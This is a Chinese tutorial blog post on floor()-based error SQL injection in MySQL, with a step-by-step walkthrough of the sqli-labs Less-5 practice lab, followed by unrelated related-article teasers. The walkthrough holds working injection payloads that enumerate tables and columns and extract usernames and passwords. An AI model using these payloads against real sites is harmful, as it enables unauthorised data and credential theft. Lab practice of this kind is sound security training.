Floor报错注入理论及实战

news2024/10/5 13:06:52

rand()函数:随机返回0-1之间的小数

floor()函数:小数向下取证书。向上取整数ceiling()

concat_ws函数:将括号内数据用第一个字段连接起来

group by子句:分组语句,常用语结合统计函数,根据一个或多个列,对结果集进行分组

as:别名

count()函数:汇总统计数量

limit:这里用于显示指定行数

?id=0' union select 1,count(*),concat_ws('-',(select concat('~',id,username,':',password) from users limit0,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+

rand函数()

返回0-1之间的随机一个值

select rand() *2 #计算结果在0-2之间

select rand() from users;#根据users的行数随机显示结果

floor()函数

小数向下取整数


concat_ws()函数

将括号内数据用第一个字段连接起来

select concat_ws('-',(select database()),floor(rand()*2));

select concat_ws('-',(select database()),floor(rand()*2)) from users;

有多少用户就计算多少次,且结果随机

as别名,group by分组

select concat_ws('-',(select database()),floor(rand()*2)) as a from users group by a;

分组之前

分组之后

count()函数

汇总统计数量

select count(*),concat_ws('-',(select database()),floor(rand()*2)) as a from users group by a;

报错里面出现了dvwa-1,可以利用这个地方查询信息

select floor(rand())*2 from users;根据表users的行数随机显示0或1

select floor(rand(0)*2) from users;计算不再随机,而是按一定顺序排列

select floor(rand(1)*2) from users;

select count(*),concat_ws('-',(select database())),floor(rand(0)*2) as a from users group by a; #固定报错

select count(*),concat_ws('_',(select database()),floor(rand(1)*2)) as a from users goup by a;#固定不会报错

为什么写成0就会报错?

把count(*)去掉不再报错,说明是在统计时出现了错误

select count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as a from users group by a;

select count(*),concat_ws('_',(select database()),floor(rand(0)*2)) as a from users group by a;

作用是让rand函数产生足够多次数的计算,一般使用行数比较多的默认数据表information_schema.tables

union select count(*),concat_ws('-',select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as a from users group by a;#floor报错注入 一次展现的字符串有64位。

本次注入的是sqli-labs的第五关

1.判断是字符型还是数字型

丢一个单引号,查看报错提示,可以看到是一个单引号闭合方式,加上单引号后面跟上--+注释掉。页面可以正常显示。

2.判断列数,使用order by函数的二分法方式

根据报错可以看出列数是3列

3.查询是否具有内容回显位置

无任何回显,无法根据页面正常显示的内容查询出我们所需要的信息

4.使用floor报错提示进行查询

开始构造SQL语句

union select 1,count(*),concat_ws('-',(database()),floor(rand(0)*2)) as a from information_schema.tables group by a --+

查询出数据库信息

现在已知数据库查询数据表,构造SQL语句

union select 1,count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as a from information_schema.tables group by a --+

查询出数据表

已知数据表查询所有字段,构造SQL语句

union select 1,count(*),concat_ws('-',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),floor(rand(0)*2)) as a from information_schema.tables group by a --+

已知字段,查询字段内容

union select 1,count(*),concat_ws('-',(select group_concat(username,password) from security.users),floor(rand(0)*2)) as a from information_schema.tables group by a --+

使用group_concat无法正常显示,尝试使用concat函数

http://sqli-labs:8088/Less-5/?id=1' union select 1,count(*),concat_ws('-',(select concat(username,':',password) from security.users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+

Subquery returns more than 1 row#查询返回一行以上,解决使用limit函数,从第0行开始,反馈1行

查询成功!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1183804.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Spring Security使用总结五,加密用户密码,不再使用明文保存密码

上一章我们成功的注册了一个新用户,按照正常逻辑来说,这一章应该是登录了,但是我们也看到了,这数据库保存的居然是明文密码,这谁受得了,这要是用户信息泄露了,这不让人一锅端了啊,还…

LeetCode | 21. 合并两个有序链表

LeetCode | 21. 合并两个有序链表 OJ链接 定义一个新链表,把小的结点尾插到新的链表注意在插入新的链表中,1. 空链表,插入的节点就是链表的头节点和尾结点。2. 非空链表,插入的节点就是链表的新的尾结点,头结点不变…

Lazarus安装和入门资料

azarus-2.2.6-fpc-3.2.2-win64 下载地址 Lazarus 基础教程 - Lazarus Tutorials for Beginners Lazarus Tutorial #1 - Learning programming_哔哩哔哩_bilibili https://www.devstructor.com/index.php?pagetutorials Lazarus是一款开源免费的object pascal语言RAD IDE&…

【Linux权限:系统中的数字锁与安全之门】

1.Linux下的用户 Linux下有两种用户:超级用户(root)、普通用户。 超级用户:可以再linux系统下做任何事情,不受限制普通用户:在linux下做有限的事情。超级用户的命令提示符是“#”,普通用户的命令…

HashMap 是怎么解决哈希冲突的?

(本文摘自mic老师面试文档) 常用数据结构基本上是面试必问的问题,比如 HashMap、LinkList、 ConcurrentHashMap 等。 关于 HashMap,有个学员私信了我一个面试题说: “HashMap 是怎么解决哈希冲突 的?” …

Redis极速上手开发手册【Redis全面复习】

文章目录 什么是RedisRedis的特点Redis的应用场景Redis安装部署Redis基础命令Redis多数据库特性Redis数据类型Redis数据类型之stringRedis数据类型之hashRedis数据类型之listRedis数据类型之setRedis数据类型之sorted set案例:存储高一班的学员信息 Redis封装工具类…

DevExpress WinForms桑基图组件,开创大数据流可视化新方式!

界面控件DevExpress WinForms能帮助开发者创建信息丰富的WinForms应用程序,使用其Sankey Diagram(桑基图)控件,您可以非常轻松地可视化大数据的数据流。 DevExpress WinForms有180组件和UI库,能为Windows Forms平台创…

获奖名单出炉 ,鲲鹏应用创新大赛2023全国总决赛圆满落幕

11月2日,以“数智未来 因你而来”为主题的鲲鹏应用创新大赛2023全国总决赛在四川成都顺利举办。经过长达6个月的层层筛选与激烈角逐,最终从三大赛事、5大赛道中评选出了13个金奖、16个银奖、19个铜奖。 鲲鹏应用创新大赛是面向全球开发者的顶级赛事&…

DxO照片处理工具合集:FilmPack+PureRAW+PhotoLab+ViewPoint中文版

DxO照片处理工具合集是一款强大而全面的图像处理软件,它可以帮助您提升照片的质量,使其更加出色。无论您是一名专业摄影师,还是一个热爱摄影的业余爱好者,DxO照片处理工具合集都能满足您的需求,让您的照片更加出众&…

单元测试框架----UnitTest框架

UnitTest框架核心要点:TestCase(测试用例)、TestSuite(测试套件)、TextTestRunner(测试执行器)、TextTestResult(测试报告)、Fixture(测试夹具) TestSuite 步骤: 步骤1&#xff1a…

git解决冲突的方法。

1、 cherry-pick git fetch ssh://jingyou.caigerrit.transtekcorp.com:29418/leshan refs/changes/23/34123/3 && git cherry-pick FETCH_HEAD2、 文件解冲突! 3、 cherry-pick完整。 git cherry-pick --continue4、查看状态。 5、 push。 git push o…

ChatGPT如何管理对话历史?

问题 由于现在开始大量使用ChatGPT对话功能,认识到他在提供启发方面具有一定价值。比如昨天我问他关于一个微习惯的想法,回答的内容还是很实在,而且能够通过他的表达理解自己的问题涉及到的领域是什么。 此外,ChatGPT能够总结对话…

Stable Diffusion:最先进的文本生成图像模型

稳定扩散 生成式 AI 技术正在迅速发展,现在可以简单地根据文本输入生成文本和图像。Stable Diffusion 是一种文本到图像模型,使您能够创建逼真的应用程序。 扩散模型通过学习去除添加到真实图像中的噪声进行训练。这种降噪过程会产生逼真的图像。这些模…

第一章《补基础:不怕学不懂微积分》笔记

微积分包含众多知识点,例如极限概念、求导公式、乘积法则、链式法则、隐函数求导、 积分中值定理、泰勒公式等。其中,研究导数、微分及其应用的部分一般称为微分学,研究不定积分、定积分及其应用的部分一般称为积分学。微分学和积分学统称为微…

增强swagger

<dependency><groupId>org.springdoc</groupId><artifactId>springdoc-openapi-starter-webmvc-ui</artifactId><version>${org.springdoc.version}</version> </dependency> Swagger版本要与springboot 版本对应 2.1.0 -&…

携手武重集团共建新营销一体化平台,助推央企迈向世界一流

党的二十大报告指出&#xff0c;深化国资国企改革&#xff0c;加快国有经济布局优化和结构调整&#xff0c;推动国有资本和国有企业做强做优做大&#xff0c;提升企业核心竞争力&#xff0c;加快建设世界一流企业。 在数字中国建设的新时新征程中&#xff0c;数字化转型赋能央…

引入依赖时,右键能点击进入,运行时报错

引入依赖时&#xff0c;右键能点击进入&#xff0c;运行时报错 一、问题二、解决问题的过程三、解决方式1、排除其中一个依赖的公共包2、升级旧依赖 一、问题 我的问题是这样的&#xff1a;以前引入了阿里云文字识别的依赖&#xff0c;最近要调用视频活体检测的接口&#xff0…

Linux CentOS 8(HTTPS的配置与管理)

Linux CentOS 8&#xff08;HTTPS的配置与管理&#xff09; 目录 一、HTTPS 介绍二、SSL 证书的介绍三、实验配置 一、HTTPS 介绍 HTTPS 在 HTTP 的基础下加入 SSL&#xff0c;SSL 是“Secure Sockets Layer”的缩写&#xff0c;中文为“安全套接层”。因此 HTTPS 是以安全为目…

解决MySQL需要根据特定顺序排序

文章目录 0 写在前面1 问题引入2 问题解决3 写在末尾 0 写在前面 在进行业务需求的时候&#xff0c;不会根据排序去选择数据。例如&#xff0c;在导出的时候数据排序是根据编辑时间去排序的&#xff0c;那么他的主键id会打乱。 假如&#xff1a; 要导出id为 3 &#xff0c;1 &…

Python学习笔记--构造(`__new__`)和初始化(`__init__`)

二、构造(__new__)和初始化(__init__) 通过之前的学习&#xff0c;我们已经知道定义一个类时&#xff0c;我们经常会通过 __init__(self) 的方法在实例化对象的时候&#xff0c;对属性进行设置。 比如下面的例子&#xff1a; #!/usr/bin/env python3 # -*- coding: UTF-8 -*…